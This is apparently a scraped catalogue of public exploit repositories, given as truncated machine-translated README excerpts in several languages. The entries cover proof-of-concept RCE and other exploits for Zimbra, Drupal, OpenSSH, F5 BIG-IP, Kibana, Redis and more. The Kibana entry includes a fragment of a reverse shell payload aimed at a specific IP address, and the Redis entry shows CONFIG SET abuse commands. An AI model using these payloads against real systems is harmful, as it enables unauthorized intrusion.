CVE-2022-27925

Эксплойт удаленного выполнения кода без аутентификации в Zimbra CVE-2022-27925...

CVE-2020-15227

CVE-2020-15227 免責事項！ 本ツールを実際の環境で使用した場合の責任は一切負いませんので、絶対に使用しないでください。これは、システム管理者がテストを行うためのデモンストレーション用です。 このエクスプロイトは、David Grudl（Nette foundationの創設者）のCVE公開に従って作成しました。彼は問題を迅速に解決せず、セキュリティ関係者が侵害の可能性を調査するためのドキュメンテーション（エクスプロイト方法）を提供せず、隠蔽していました。では、始めましょう。...

Magento-CVE-2016-4010

Magento 인증되지 않은 원격 코드 실행 취약점CVE-2016-4010 분석 및 활용 0x00 서문 5월 17일, 해외 보안 연구원 Netanel Rubin이 Magento의 인증되지 않은 원격 코드 실행 취약점CVE-2016-4010을 공개했습니다. 이 취약점은 실제로 여러 개의 작은 취약점을 포함하며, 공격자가 취약한 Magento 서버에서 인증 없이 PHP 코드를 실행할 수 있도록 합니다. Magento는 매우 인기 있는 전자상거래 플랫폼으로, 2011년 eBay에 인수되었습니다. 삼성, 니콘, 레노버와 같은 유명 기...

CVE-2018-7600

CVE-2018-7600 Эксплоит Proof of Concept для Drupal CVE-2018-7600 — удаленное выполнение кода с псевдо-оболочкой и поддержкой прокси...

cve-2024-6387_AImade

CVE-2024-6387 테스트 코드 소개 소개 이 문서는 OpenSSH에서 확인된 취약점 CVE-2024-6387을 테스트하기 위해 설계된 Python 스크립트를 소개합니다. 이 취약점은 SIGALRM 신호 핸들러의 경쟁 조건race condition으로, glibc 기반 Linux 시스템에서 원격 코드 실행RCE을 허용할 수 있습니다. 이 스크립트는 교육 및 보안 연구 목적으로 인공지능에 의해 생성되었습니다. CVE-2024-6387 설명 식별자 : CVE-2024-6387 설명 : OpenSSH의 경쟁 조건으로, 2020...

docker-CVE-2019-11043

CVE-2019-11043 확인용 Docker 이미지 및 명령어 CVE: CVE-2019-11043 설명: PHP 7.1.x7.1.33 미만, 7.2.x7.2.24 미만, 7.3.x7.3.11 미만 버전의 특정 FPM 구성에서 FPM 모듈이 할당된 버퍼를 지나 FCGI 프로토콜 데이터용으로 예약된 공간에 쓰도록 만들어 원격 코드 실행이 가능해집니다. 상세 정보: https://nvd.nist.gov/vuln/detail/CVE-2019-11043 Github 익스플로잇:...

CVE-2021-40444

CVE-2021-40444 PoC CVE-2021-40444를 악용하는 악성 docx 생성기 Microsoft Office Word 원격 코드 실행 이 스크립트의 생성은 실제 환경에서 사용된 샘플938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52, docx 파일에 대한 일부 리버스 엔지니어링을 기반으로 합니다. 먼저 lcab을 설치해야 합니다 sudo apt-get install lcab 수동 재현 단계는 REPRODUCE.md를 확인하세요 생성된 cab이 작동하...

CVE-2024-10915

CVE-2024-10915 - Эксплуатация внедрения команд в D-Link NAS Этот эксплойт на Python предназначен для уязвимости внедрения команд в нескольких продуктах D-Link NAS через конечную точку /cgi-bin/accountmgr.cgi?cmd=cgiuseradd. Уязвимость позволяет неаутентифицированным злоумышленникам выполнять...

CVE-2022-22965-PoC

CVE-2022-22965 Spring4Shell Доказательство концепции Проверка RCE удаленного выполнения кода в Spring Core​ Сборка образа Требуется сборка на основе BuildKit, поэтому вам нужно его включить. Самый простой способ — установить переменную окружения DOCKERBUILDKIT=1 при вызове команды docker build,...

CVE-2022-1388

CVE-2022-1388 - Обход аутентификации и RCE в F5 BIG-IP iControl REST Этот скрипт на Python эксплуатирует CVE-2022-1388, критическую уязвимость в F5 BIG-IP iControl REST, позволяющую неаутентифицированное удаленное выполнение команд из-за неправильного контроля доступа и обработки HTTP-заголовков...

EXP_CVE-2018-19518

CVE-2018-19518 Отказ от ответственности Данная программа должна использоваться только для авторизованного тестирования безопасности и исследовательских целей. Пожалуйста, соблюдайте законодательство о кибербезопасности и используйте её надлежащим образом. Автор не несёт ответственности за любые...

redis-exploitation

redis-exploitation CONFIG SET 교육 목적으로만 사용 빌드 root@kitploit: $ docker build -t victim . 실행 root@kitploit: $ docker run -d --name victim victim 공격 root@kitploit: $ docker exec -it victim bash root@kitploit: root@34ea33cb2eb2 / ls /var/spool/cron/ root@34ea33cb2eb2 / redis-cli 127.0.0.1:6379 config...

text4shell

text4shell Демонстрация уязвимости CVE-2022-42889 text4shell, позволяющей удалённо выполнять код. Подробности в Don't Panic!: уязвимость Text4shell CVE-2022-42889 в Apache Commons Text...

CVE-2025-55182-Terminal

Next.js RSC 脆弱性スキャナー CVE-2025-66478 / CVE-2025-55182 軽量でマルチスレッドのProof of Concept（PoC）ツールで、Next.js React Server Components（RSC）のリモートコード実行脆弱性（React2Shell）を検出・実証するために設計されています。このツールは、単一ターゲットの検証と高並列な大量スキャンの両方を可能にします。 特徴 精密な検出 : 厳格なルートレベル実行アクセスを検証することで脆弱なインスタンスを特定します。 大量スキャン :...

CVE-2025-57310

CVE-2025-57310 Salmen2/Simple-Faucet-Script v1.07에서 admin.php?p=ads&c=1로 조작된 POST 요청을 통해 발생하는 교차 사이트 요청 위조CSRF 취약점으로, 공격자가 임의 코드를 실행할 수 있습니다. CWE CWE-352: 교차 사이트 요청 위조CSRF CVSS v3.1 기본 점수: 8.8 높음 root@kitploit: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 요약 이 제품은 관리자 패널에서 교차 사이트 요청 위조CSRF에 취약합니다...

CVE-2013-2729

Adobe Reader BMP/RLE 힙 손상 - CVE-2013-2729 Adobe Reader X는 Adobe Systems에서 개발한 강력한 소프트웨어 솔루션으로, PDFPortable Document Format 파일을 보고, 생성하고, 조작하고, 인쇄하고, 관리할 수 있습니다. 버전 10부터는 Google Chrome의 샌드박스 기술과 유사한 보호 모드Protected Mode를 포함하여 제품의 전반적인 보안을 향상시킵니다. 제목: Adobe Reader BMP/RLE 힙 손상 CVE 이름: CVE-2013-2729...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Нажмите Canvas, чтобы получить шелл...

CVE-2020-27955

CVE-2020-27955 감사합니다 https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

CVE-2018-11235-Git-Submodule-CE

CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git PoC Docker에서 가져오기 docker pull qweraqq/cve-2018-11235-git-submodule-rce Git Http 서버 시작 docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce PoC git clone --recurse-submodules http://git.gitserver/malicious.git...

Thunderstorm

Thunderstorm Thunderstorm はUPSデバイスを悪用するためのモジュラーフレームワークです。 現時点では、CS-141 および NetMan 204 のエクスプロイトのみが利用可能です。フレームワークのベータ版は将来リリースされる予定です。 CVE Thunderstorm は現在、以下の CVE を悪用することができます： CVE-2022-47186 – 制限なしファイルアップロード CS-141 CVE-2022-47187 – ファイルアップロードによるクロスサイトスクリプティング CS-141 CVE-2022-47188 –...